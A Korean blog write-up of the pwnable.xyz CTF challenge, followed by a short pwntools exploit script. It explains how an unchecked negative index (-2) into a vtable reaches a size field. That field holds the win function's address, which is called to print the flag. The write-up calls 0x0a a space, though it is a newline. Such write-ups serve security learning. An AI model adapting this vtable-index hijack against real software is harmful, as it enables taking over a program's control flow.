flag 함수가 _ 함수로 있다.
vtable가 있다. vtable을 통해 각 함수를 호출한다.
vtable 주소로 이동해보면 각 함수의 주소가 적혀 있는 것을 알 수 있다.
&vtable+v3으로 함수를 호출하는데, 이것으로 v3를 조절해서 원하는 함수를 호출할 수 있다.
(또 v3 <= 4이기만 하면 되므로 음수여도 상관없기 때문!)
0x400a31이 _ 함수 주소인데 문제는 이 주소에 0x0a가 포함되어 있다.
0a는 아스키 코드 상으로 스페이스이기 때문에 read 시 끊기게 된다.
따라서 이 주소를 어디에 넣어놓고 그 곳을 호출해서 실행되도록 해야 한다.
vtable에서 위로 올라가보면 size가 있다.
size 체크를 따로 하지 않기 때문에
_ 함수 주소를 string으로 size에 넣고 (strtoul에서 string을 int로 변환하기 때문)
vtable과 size의 차이를 v3에 넣는다. 0x10 만큼 차이난다.
이때 v3는 8바이트 단위이므로 (따지자면 인덱스처럼) v3 = -2 로 준다.
그럼 &vtable+v3을 할 때 size로 이동하는데, _ 함수가 들어있어서 flag가 출력된다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30007)
elf = ELF("./challenge")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
win = elf.symbols['_']
#gdb.attach(p)
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(win))
p.sendlineafter("> ", '-2')
p.interactive()
# exploit
[pwnable.xyz] SUS (0) | 2020.02.05 |
---|---|
[pwnable.xyz] game (0) | 2020.01.22 |
[pwnable.xyz] free spirit (0) | 2019.11.11 |
[pwnable.xyz] two targets - shell (pwnable) (0) | 2019.11.02 |
[pwnable.xyz] two targets (pwnable) (0) | 2019.11.02 |